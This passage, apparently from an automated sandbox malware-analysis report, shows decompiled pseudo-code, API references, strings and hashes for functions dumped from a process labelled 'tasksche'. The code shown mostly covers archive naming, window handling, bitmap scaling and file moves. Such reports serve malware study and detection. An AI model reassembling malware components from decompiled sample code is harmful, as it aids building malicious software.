								if(_t16 == 0) {
									L25:
									return E0041A7F7(_t49, L"00");
								}
								_t51 = _t50 + 6;
								_t19 = E00410B6D( *_t51 & 0x0000ffff);
								__eflags = _t19;
								if(_t19 == 0) {
									goto L25;
								}
								_t20 = _t51;
								while(1) {
									 *_t20 =  *_t20 + 1;
									__eflags = ( *_t20 & 0x0000ffff) - 0x3a;
									if(( *_t20 & 0x0000ffff) != 0x3a) {
										break;
									}
									_t11 = _t20 - 2; // -7
									_t40 = _t11;
									__eflags =  *_t40 - 0x2e;
									if( *_t40 == 0x2e) {
										_t41 = 0x41;
										 *_t20 = _t41;
										return _t20;
									}
									_t47 = 0x30;
									 *_t20 = _t47;
									_t20 = _t40;
								}
								return _t20;
							}
							_t52 = E0040A81E(_t55, _t34);
							while(1) {
								 *_t52 =  *_t52 + 1;
								_t22 =  *_t52 & 0x0000ffff;
								if(_t22 != 0x3a) {
									break;
								}
								_t23 = 0x30;
								 *_t52 = _t23;
								_t52 = _t52;
								__eflags = _t52 - _t34;
								if(_t52 < _t34) {
									L13:
									_t25 = _t34 + E0041A7AF(_t34) * 2;
									while(1) {
										__eflags = _t25 - _t52;
										if(_t25 == _t52) {
											break;
										}
										 *((short*)(_t25 + 2)) =  *_t25;
										_t25 = _t25;
										__eflags = _t25;
									}
									_t27 = 0x31;
									_t52[1] = _t27;
									return _t27;
								}
								_t29 = E00410B6D( *_t52 & 0x0000ffff);
								__eflags = _t29;
								if(_t29 == 0) {
									goto L13;
								}
							}
							return _t22;
						}
						__eflags = E00411E60(_t48, L"sfx");
						if(__eflags != 0) {
							goto L7;
						}
						goto L6;
					}
					_t31 = E0041A7AF(_t34);
					__eflags = _t31 - _a8 + 0xfffffffd;
					if(_t31 < _a8 + 0xfffffffd) {
						goto L6;
					}
					goto L4;
				}
				E00410BC9(_t54, _t34, L".rar", _a8);
				_t50 = E0040A76A(_t34);
				goto L7;
			}

0x0040a8a2
0x0040a8ae
0x0040a8b0
0x0040a8b2
0x0040a8cd
0x0040a8cd
0x0040a8d0
0x0040a8d4
0x0040a8e8
0x0040a8ee
0x0040a8f3
0x0040a8f5
0x0040a906
0x0040a90c
0x0040a913
0x0040a913
0x0040a918
0x0040a96d
0x0040a96d
0x0040a974
0x0040a979
0x0040a97b
0x0040a9b8
0x00000000
0x0040a9c4
0x0040a97d
0x0040a984
0x0040a989
0x0040a98b
0x00000000
0x00000000
0x0040a98d
0x0040a9a2
0x0040a9a2
0x0040a9a8
0x0040a9ac
0x00000000
0x00000000
0x0040a991
0x0040a991
0x0040a994
0x0040a998
0x0040a9b2
0x0040a9b3
0x00000000
0x0040a9b3
0x0040a99c
0x0040a99d
0x0040a9a0
0x0040a9a0
0x00000000
0x0040a9a2
0x0040a920
0x0040a93d
0x0040a93d
0x0040a940
0x0040a947
0x00000000
0x00000000
0x0040a926
0x0040a927
0x0040a92b
0x0040a92c
0x0040a92e
0x0040a94b
0x0040a952
0x0040a960
0x0040a960
0x0040a962
0x00000000
0x00000000
0x0040a95a
0x0040a95f
0x0040a95f
0x0040a95f
0x0040a966
0x0040a967
0x00000000
0x0040a967
0x0040a934
0x0040a939
0x0040a93b
0x00000000
0x00000000
0x0040a93b
0x00000000
0x0040a93d
0x0040a902
0x0040a904
0x00000000
0x00000000
0x00000000
0x0040a904
0x0040a8d7
0x0040a8e4
0x0040a8e6
0x00000000
0x00000000
0x00000000
0x0040a8e6
0x0040a8be
0x0040a8c9
0x00000000

APIs

Part of subcall function 0040A76A: _wcsrchr.LIBCMT ref: 0040A77E

_wcslen.LIBCMT ref: 0040A8D7
_wcscpy.LIBCMT ref: 0040A90C

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

_wcslen.LIBCMT ref: 0040A94C
_wcscpy.LIBCMT ref: 0040A9BE

Strings

exe, xrefs: 0040A8E8
.rar, xrefs: 0040A8B8
rar, xrefs: 0040A906
sfx, xrefs: 0040A8F7

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$_wcscpy$_wcsncat_wcsrchr
String ID: .rar$exe$rar$sfx
API String ID: 1023950463-630704357
Opcode ID: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction ID: 29a0ca65efafee0ddffcc544de8f71498ac5d95f7ded716494b7ad5447c572c4
Opcode Fuzzy Hash: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction Fuzzy Hash: 233106B170431056C3206B259C46A7B63A8DF05794B264C3BF882BB1E1E77C98E2925F

Uniqueness

Uniqueness Score: -1.00%

Function 0041963B Relevance: 13.6, APIs: 9, Instructions: 133
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0041963B(void* __ecx, signed int _a4, intOrPtr _a8) {
				int _v8;
				void* _v12;
				long _v16;
				struct tagMSG _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t43;
				intOrPtr* _t47;
				signed int _t48;
				signed int _t51;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t62;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t75;
				WCHAR* _t76;
				void* _t90;

				_t75 = GetTickCount;
				_t90 = __ecx;
				_v8 = 0;
				_v12 = 0;
				_v16 = GetTickCount();
				while(1) {
					_t43 = _a4;
					_push( &_v8);
					_push(_t43);
					if( *((intOrPtr*)( *_t43 + 0x48))() >= 0 && _v8 != 0) {
						break;
					}
					if(GetTickCount() - _v16 > 0x7d0) {
						break;
					} else {
						if(PeekMessageW( &_v44, 0, 0, 0, 0) != 0) {
							GetMessageW( &_v44, 0, 0, 0);
							TranslateMessage( &_v44);
							DispatchMessageW( &_v44);
						}
						continue;
					}
				}
				_t47 = _a4;
				_t48 =  *((intOrPtr*)( *_t47 + 0x48))(_t47,  &_v8);
				__eflags = _t48;
				_a4 = _t48;
				if(_t48 < 0) {
					L15:
					__eflags =  *(_t90 + 8);
					if( *(_t90 + 8) != 0) {
						__eflags =  *(_t90 + 0x18);
						if( *(_t90 + 0x18) == 0) {
							_t51 =  *(_t90 + 0x14);
							__eflags = _t51;
							if(__eflags != 0) {
								_push(_t51);
								_t76 = E0041947D(_t75, _t90, __eflags);
								__eflags = _t76;
								if(__eflags != 0) {
									SetWindowPos( *(_t90 + 4), 1, 0, 0, 0, 0, 0x204);
									ShowWindow( *(_t90 + 8), 5);
									SetWindowTextW( *(_t90 + 8), _t76);
									_push(_t76);
									E0041A506(_t76, _t90, 0, __eflags);
								}
							}
						}
					}
					L20:
					__eflags = _a4;
					_t41 = _a4 >= 0;
					__eflags = _t41;
					return 0 | _t41;
				}
				_t57 = _v8;
				__eflags = _t57;
				if(_t57 == 0) {
					L13:
					__eflags = _a4;
					if(_a4 < 0) {
						goto L15;
					}
					__eflags = _v8;
					if(_v8 != 0) {
						goto L20;
					}
					goto L15;
				}
				_t58 =  *((intOrPtr*)( *_t57))(_t57, 0x42b158,  &_v12);
				__eflags = _t58;
				_a4 = _t58;
				if(_t58 < 0) {
					L12:
					_t59 = _v8;
					 *((intOrPtr*)( *_t59 + 8))(_t59);
					goto L13;
				}
				_t61 = _v12;
				_t62 =  *((intOrPtr*)( *_t61 + 0x20))(_t61);
				__eflags = _t62;
				_a4 = _t62;
				if(_t62 >= 0) {
					_t65 = _v12;
					_a4 =  *((intOrPtr*)( *_t65 + 0x14))(_t65, _a8);
				}
				_t63 = _v12;
				 *((intOrPtr*)( *_t63 + 8))(_t63);
				goto L12;
			}

0x00419642
0x0041964c
0x0041964e
0x00419651
0x00419656
0x00419659
0x00419659
0x00419661
0x00419662
0x00419668
0x00000000
0x00000000
0x00419679
0x00000000
0x0041967b
0x0041968b
0x00419694
0x0041969e
0x004196a8
0x004196a8
0x00000000
0x0041968b
0x00419679
0x004196b0
0x004196ba
0x004196bd
0x004196bf
0x004196c2
0x0041971b
0x0041971b
0x0041971e
0x00419720
0x00419723
0x00419725
0x00419728
0x0041972a
0x0041972c
0x00419734
0x00419736
0x00419738
0x00419748
0x00419753
0x0041975d
0x00419763
0x00419764
0x00419769
0x00419738
0x0041972a
0x00419723
0x0041976a
0x0041976c
0x00419771
0x00419771
0x00419776
0x00419776
0x004196c4
0x004196c7
0x004196c9
0x00419711
0x00419711
0x00419714
0x00000000
0x00000000
0x00419716
0x00419719
0x00000000
0x00000000
0x00000000
0x00419719
0x004196d7
0x004196d9
0x004196db
0x004196de
0x00419708
0x00419708
0x0041970e
0x00000000
0x0041970e
0x004196e0
0x004196e6
0x004196e9
0x004196eb
0x004196ee
0x004196f0
0x004196fc
0x004196fc
0x004196ff
0x00419705
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00419654
GetTickCount.KERNEL32 ref: 0041966F
PeekMessageW.USER32 ref: 00419683
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00419694
TranslateMessage.USER32(?), ref: 0041969E
DispatchMessageW.USER32 ref: 004196A8
SetWindowPos.USER32(?,00000001,00000000,00000000,00000000,00000000,00000204,?), ref: 00419748
ShowWindow.USER32(?,00000005), ref: 00419753
SetWindowTextW.USER32(?,00000000), ref: 0041975D

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: HeapFree.KERNEL32(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Message$Window$CountTick$DispatchErrorFreeHeapLastPeekShowTextTranslate___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 1762286965-0
Opcode ID: f0944d8d3487d5734ad5cb7c23f05204e41e9be38d5b1ec25b868207f32bae6d
Instruction ID: 0fcf3197ed2ac79a16e8f935243f891c0de6f754acb5965f6be033bd159a0870
Opcode Fuzzy Hash: f0944d8d3487d5734ad5cb7c23f05204e41e9be38d5b1ec25b868207f32bae6d
Instruction Fuzzy Hash: F4412871A00219EFCB10EFA5C8989DEBB79FF49751B10846AF905D7250D738DE81CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419EA0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184
comCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00419EA0(void* __edx, long long __fp0, void* _a4, signed int _a8, void* _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				signed int _v32;
				struct HDC__* _v36;
				void* _v40;
				signed int _v56;
				signed int _v60;
				void _v64;
				struct HDC__* _v92;
				short _v94;
				short _v96;
				signed int _v100;
				signed int _v104;
				struct tagBITMAPINFO _v108;
				void* __edi;
				signed int _t76;
				char* _t77;
				void* _t78;
				intOrPtr* _t79;
				void* _t80;
				intOrPtr* _t81;
				intOrPtr* _t84;
				intOrPtr* _t86;
				short _t94;
				signed int _t97;
				intOrPtr* _t101;
				intOrPtr* _t103;
				intOrPtr* _t105;
				intOrPtr* _t107;
				intOrPtr* _t109;
				intOrPtr* _t111;
				intOrPtr* _t114;
				intOrPtr* _t117;
				signed int _t121;
				intOrPtr _t127;
				void* _t147;
				signed int _t151;
				long long* _t153;
				long long _t156;

				_t156 = __fp0;
				if(E00419E75() != 0) {
					GetObjectW(_a4, 0x18,  &_v64);
					_t151 = _a8;
					asm("cdq");
					_t76 = _v56 * _t151 / _v60;
					_t121 = _a12;
					if(_t76 < _t121) {
						_t121 = _t76;
					}
					_t77 =  &_v8;
					__imp__CoCreateInstance(0x42b208, 0, 1, 0x42b100, _t77, _t147);
					if(_t77 < 0) {
						L17:
						_t78 = _a4;
						goto L18;
					} else {
						_t79 = _v8;
						_t80 =  *((intOrPtr*)( *_t79 + 0x54))(_t79, _a4, 0, 2,  &_v12);
						_t81 = _v8;
						if(_t80 < 0) {
							L10:
							 *((intOrPtr*)( *_t81 + 8))(_t81);
							goto L17;
						}
						_push( &_v16);
						_v16 = 0;
						_push(_t81);
						if( *((intOrPtr*)( *_t81 + 0x28))() < 0) {
							L9:
							_t84 = _v12;
							 *((intOrPtr*)( *_t84 + 8))(_t84);
							_t81 = _v8;
							goto L10;
						}
						_t86 = _v16;
						asm("fldz");
						_t127 =  *_t86;
						_push(0);
						_push(_t127);
						_push(_t127);
						 *_t153 = _t156;
						_push(0);
						_push(0);
						_push(0x42b218);
						_push(_v12);
						_push(_t86);
						if( *((intOrPtr*)(_t127 + 0x20))() >= 0) {
							E0041A820(0,  &_v108, 0, 0x2c);
							_v100 =  ~_t121;
							_v96 = 1;
							_t94 = 0x20;
							_v94 = _t94;
							_v108.bmiHeader = 0x28;
							_v104 = _t151;
							_v92 = 0;
							_v20 = 0;
							_t97 = CreateDIBSection(0,  &_v108, 0,  &_v24, 0, 0);
							_a12 = _t97;
							asm("sbb eax, eax");
							if(( ~_t97 & 0x7ff8fff2) + 0x8007000e >= 0) {
								_t107 = _v8;
								 *((intOrPtr*)( *_t107 + 0x2c))(_t107,  &_a8);
								_t109 = _a8;
								 *((intOrPtr*)( *_t109 + 0x20))(_t109, _v12, _t151, _t121, 3);
								_push(_v24);
								_t111 = _a8;
								_push(_t151 * _t121 << 2);
								_push(_t151 << 2);
								_push( &_v40);
								_v40 = 0;
								_v36 = 0;
								_v32 = _t151;
								_v28 = _t121;
								_push(_t111);
								if( *((intOrPtr*)( *_t111 + 0x1c))() < 0) {
									DeleteObject(_a12);
								} else {
									_v20 = _a12;
								}
								_t114 = _a8;
								 *((intOrPtr*)( *_t114 + 8))(_t114);
							}
							_t101 = _v12;
							 *((intOrPtr*)( *_t101 + 8))(_t101);
							_t103 = _v16;
							 *((intOrPtr*)( *_t103 + 8))(_t103);
							_t105 = _v8;
							 *((intOrPtr*)( *_t105 + 8))(_t105);
							_t78 = _v20;
							if(_t78 != 0) {
								L18:
								return _t78;
							} else {
								goto L17;
							}
						}
						_t117 = _v16;
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						goto L9;
					}
				}
				return E00419D0B(_a4, _a8, _a12);
			}

0x00419ea0
0x00419ead
0x00419ecd
0x00419ed6
0x00419edc
0x00419edd
0x00419ee0
0x00419ee5
0x00419ee7
0x00419ee7
0x00419eea
0x00419efd
0x00419f05
0x0041a056
0x0041a056
0x00000000
0x00419f0b
0x00419f0b
0x00419f1b
0x00419f20
0x00419f23
0x00419f6a
0x00419f6d
0x00000000
0x00419f6d
0x00419f28
0x00419f29
0x00419f2e
0x00419f34
0x00419f5e
0x00419f5e
0x00419f64
0x00419f67
0x00000000
0x00419f67
0x00419f36
0x00419f39
0x00419f3b
0x00419f3d
0x00419f3e
0x00419f3f
0x00419f40
0x00419f43
0x00419f44
0x00419f45
0x00419f4a
0x00419f4d
0x00419f53
0x00419f7c
0x00419f88
0x00419f90
0x00419f94
0x00419f97
0x00419fa5
0x00419fac
0x00419faf
0x00419fb2
0x00419fb5
0x00419fbb
0x00419fc0
0x00419fcc
0x00419fce
0x00419fd8
0x00419fdb
0x00419fe8
0x00419feb
0x00419fee
0x00419ff9
0x00419fff
0x0041a003
0x0041a004
0x0041a007
0x0041a00a
0x0041a00d
0x0041a012
0x0041a018
0x0041a025
0x0041a01a
0x0041a01d
0x0041a01d
0x0041a02b
0x0041a031
0x0041a031
0x0041a034
0x0041a03a
0x0041a03d
0x0041a043
0x0041a046
0x0041a04c
0x0041a04f
0x0041a054
0x0041a059
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a054
0x00419f55
0x00419f5b
0x00000000
0x00419f5b
0x00419f05
0x00000000

APIs

Part of subcall function 00419E75: GetDC.USER32(00000000), ref: 00419E79
Part of subcall function 00419E75: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00419E84
Part of subcall function 00419E75: ReleaseDC.USER32 ref: 00419E8F

GetObjectW.GDI32(00000200,00000018,?,00000000,76D7BB20), ref: 00419ECD
CoCreateInstance.OLE32(0042B208,00000000,00000001,0042B100,?,00000000,?), ref: 00419EFD

Part of subcall function 00419D0B: GetDC.USER32(00000000), ref: 00419D17
Part of subcall function 00419D0B: CreateCompatibleDC.GDI32(00000000), ref: 00419D27
Part of subcall function 00419D0B: CreateCompatibleDC.GDI32(?), ref: 00419D2E
Part of subcall function 00419D0B: GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,00419EBD,00000200,?,?), ref: 00419D3C
Part of subcall function 00419D0B: CreateCompatibleBitmap.GDI32(?,00000200,00419EBD), ref: 00419D5E
Part of subcall function 00419D0B: SelectObject.GDI32(00000000,?), ref: 00419D71
Part of subcall function 00419D0B: SelectObject.GDI32(?,00000200), ref: 00419D7C
Part of subcall function 00419D0B: StretchBlt.GDI32(?,00000000,00000000,00000200,00419EBD,00000000,00000000,00000000,?,?,00CC0020), ref: 00419D9A
Part of subcall function 00419D0B: SelectObject.GDI32(00000000,?), ref: 00419DA4
Part of subcall function 00419D0B: SelectObject.GDI32(?,00419EBD), ref: 00419DAC
Part of subcall function 00419D0B: DeleteDC.GDI32(00000000), ref: 00419DB5
Part of subcall function 00419D0B: DeleteDC.GDI32(?), ref: 00419DBA
Part of subcall function 00419D0B: ReleaseDC.USER32 ref: 00419DC0

Strings

(, xrefs: 00419FA5
p["u k"u, xrefs: 0041A025

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Object$CreateSelect$Compatible$DeleteRelease$BitmapCapsDeviceInstanceStretch
String ID: ($p["u k"u
API String ID: 189428636-4121188302
Opcode ID: 2c95d850f981d7af9c5ed3b9bf4fae1c522e7595f6c5569b0b0a1ef1f992ee39
Instruction ID: d8cf3f11634150c5eb1370622c6fe0712570af28e2ae67cdae83cea958a68594
Opcode Fuzzy Hash: 2c95d850f981d7af9c5ed3b9bf4fae1c522e7595f6c5569b0b0a1ef1f992ee39
Instruction Fuzzy Hash: 21610875A00209EFCB00DFA5D888EEEBBB9FF89704B10845AF815EB250D7759E51CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004084EE Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004084EE() {
				void* __ebx;
				void* _t38;
				short _t39;
				long _t41;
				void* _t46;
				short _t48;
				void* _t73;
				WCHAR* _t74;
				void* _t76;
				void* _t83;
				void* _t86;
				void* _t87;
				void* _t91;
				void* _t93;

				E0041A4DC(E004296F3, _t91);
				E0041AAF0(0x5028);
				_t74 =  *(_t91 + 8);
				_t38 = _t91 - 0x5034;
				__imp__GetLongPathNameW(_t74, _t38, 0x800, _t83, _t87, _t73);
				if(_t38 == 0 || _t38 >= 0x800) {
					L19:
					_t39 = 0;
					__eflags = 0;
				} else {
					_t41 = GetShortPathNameW(_t74, _t91 - 0x4034, 0x800);
					if(_t41 == 0) {
						goto L19;
					} else {
						_t98 = _t41 - 0x800;
						if(_t41 >= 0x800) {
							goto L19;
						} else {
							 *((intOrPtr*)(_t91 - 0x10)) = E0040A5DB(_t98, _t91 - 0x5034);
							_t85 = E0040A5DB(_t98, _t91 - 0x4034);
							if( *_t45 == 0) {
								goto L19;
							} else {
								_t46 = E00411E60( *((intOrPtr*)(_t91 - 0x10)), _t85);
								_t100 = _t46;
								if(_t46 == 0) {
									goto L19;
								} else {
									_t48 = E00411E60(E0040A5DB(_t100, _t74), _t85);
									if(_t48 != 0) {
										goto L19;
									} else {
										 *(_t91 - 0x1010) = _t48;
										_t86 = 0;
										while(1) {
											_t103 =  *(_t91 - 0x1010);
											if( *(_t91 - 0x1010) != 0) {
												break;
											}
											E00410B9C(_t91 - 0x1010, _t74, 0x800);
											E0040BC16(E0040A5DB(_t103, _t91 - 0x1010), 0x800, L"rtmp%d", _t86);
											_t93 = _t93 + 0x10;
											if(E004092A5(_t91 - 0x1010) != 0) {
												 *(_t91 - 0x1010) = 0;
											}
											_t86 = _t86 + 0x7b;
											if(_t86 < 0x2710) {
												continue;
											} else {
												_t107 =  *(_t91 - 0x1010);
												if( *(_t91 - 0x1010) == 0) {
													goto L19;
												} else {
													break;
												}
											}
											goto L20;
										}
										E00410B9C(_t91 - 0x3034, _t74, 0x800);
										_push(0x800);
										E0040A745(_t107, _t91 - 0x3034,  *((intOrPtr*)(_t91 - 0x10)));
										if(MoveFileW(_t91 - 0x3034, _t91 - 0x1010) == 0) {
											goto L19;
										} else {
											E00408786(_t91 - 0x2034);
											 *(_t91 - 4) =  *(_t91 - 4) & 0x00000000;
											_t76 = 0;
											if(E004092A5( *(_t91 + 8)) == 0) {
												_t76 = E00408923(_t91 - 0x2034,  *(_t91 + 8), 0x12);
											}
											MoveFileW(_t91 - 0x1010, _t91 - 0x3034);
											if(_t76 != 0) {
												E00408A32(_t91 - 0x2034);
												E00408A80(_t91 - 0x2034);
											}
											 *(_t91 - 4) =  *(_t91 - 4) | 0xffffffff;
											E00408C7D(_t76, _t91 - 0x2034);
											_t39 = 1;
										}
									}
								}
							}
						}
					}
				}
				L20:
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t39;
			}

0x004084f3
0x004084fd
0x00408503
0x0040850e
0x00408516
0x0040851e
0x004086ab
0x004086ab
0x004086ab
0x0040852c
0x00408535
0x0040853d
0x00000000
0x00408543
0x00408543
0x00408545
0x00000000
0x0040854b
0x00408557
0x00408566
0x0040856c
0x00000000
0x00408572
0x00408576
0x0040857b
0x0040857d
0x00000000
0x00408583
0x0040858b
0x00408592
0x00000000
0x00408598
0x00408598
0x0040859f
0x004085a1
0x004085a1
0x004085a9
0x00000000
0x00000000
0x004085b4
0x004085cd
0x004085d2
0x004085e3
0x004085e7
0x004085e7
0x004085ee
0x004085f7
0x00000000
0x004085f9
0x004085f9
0x00408601
0x00000000
0x00000000
0x00000000
0x00000000
0x00408601
0x00000000
0x004085f7
0x00408610
0x00408615
0x00408620
0x0040863d
0x00000000
0x0040863f
0x00408645
0x0040864d
0x00408651
0x0040865a
0x0040866c
0x0040866c
0x0040867c
0x00408680
0x00408688
0x00408693
0x00408693
0x00408698
0x004086a2
0x004086a7
0x004086a7
0x0040863d
0x00408592
0x0040857d
0x0040856c
0x00408545
0x0040853d
0x004086ad
0x004086b3
0x004086bb

APIs

__EH_prolog.LIBCMT ref: 004084F3
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00408516
GetShortPathNameW.KERNEL32 ref: 00408535

Part of subcall function 0040A5DB: _wcslen.LIBCMT ref: 0040A5E1

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409CA8,?,00000000,?,00409DC2,00000000,-00000002,?,00000000,?), ref: 00411E76

_swprintf.LIBCMT ref: 004085CD

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

MoveFileW.KERNEL32(?,00000000), ref: 00408639
MoveFileW.KERNEL32(00000000,?), ref: 0040867C

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

Strings

rtmp%d, xrefs: 004085BA

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen_wcsncpy
String ID: rtmp%d
API String ID: 506780119-3303766350
Opcode ID: 8ef6c2412fa0c465cf9e1c7e5932844893406b28054d5d05d1f356aa339557c0
Instruction ID: 086441498323e4bc326e09acd5d1366d0aff3811eaae5beb392a373780c828d6
Opcode Fuzzy Hash: 8ef6c2412fa0c465cf9e1c7e5932844893406b28054d5d05d1f356aa339557c0
Instruction Fuzzy Hash: DE415E71901218AACB20EB61CE45EDF777CAF00394F0008ABB585B7181EA7D9B959E68

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA7D Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AA7D(void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				void* _t13;
				signed int _t14;
				short* _t20;
				void* _t27;
				signed int _t29;
				signed short* _t30;

				_t20 = _a8;
				_t30 = _a4;
				 *_t20 = 0;
				_t10 = E0040A0EA(_t30);
				if(_t10 == 0) {
					_t27 = 0x5c;
					if( *_t30 == _t27 && _t30[1] == _t27) {
						_t5 =  &(_t30[2]); // 0x4
						_t10 = E0041CA29(_t5, _t27);
						if(_t10 != 0) {
							_t13 = E0041CA29(_t10 + 2, _t27);
							if(_t13 == 0) {
								_t14 = E0041A7AF(_t30);
							} else {
								_t14 = (_t13 - _t30 >> 1) + 1;
							}
							_t29 = _t14;
							if(_t29 >= _a12) {
								_t29 = 0;
							}
							E0041C853(_t20, _t30, _t29);
							_t10 = 0;
							 *((short*)(_t20 + _t29 * 2)) = 0;
						}
					}
					return _t10;
				}
				return E0040BC16(_t20, _a12, L"%c:\\",  *_t30 & 0x0000ffff);
			}

0x0040aa7e
0x0040aa83
0x0040aa8a
0x0040aa8d
0x0040aa94
0x0040aab1
0x0040aab5
0x0040aabd
0x0040aac2
0x0040aacb
0x0040aad2
0x0040aadb
0x0040aae5
0x0040aadd
0x0040aae1
0x0040aae1
0x0040aaeb
0x0040aaf1
0x0040aaf3
0x0040aaf3
0x0040aaf8
0x0040ab00
0x0040ab02
0x0040ab02
0x0040aacb
0x00000000
0x0040ab06
0x00000000

APIs

_swprintf.LIBCMT ref: 0040AAA4

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

_wcschr.LIBCMT ref: 0040AAC2
_wcschr.LIBCMT ref: 0040AAD2
_wcsncpy.LIBCMT ref: 0040AAF8

Strings

%c:\, xrefs: 0040AA9A
%s.%d.tmp, xrefs: 0040AA82

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf_wcsncpy
String ID: %c:\$%s.%d.tmp
API String ID: 2474501127-1021493711
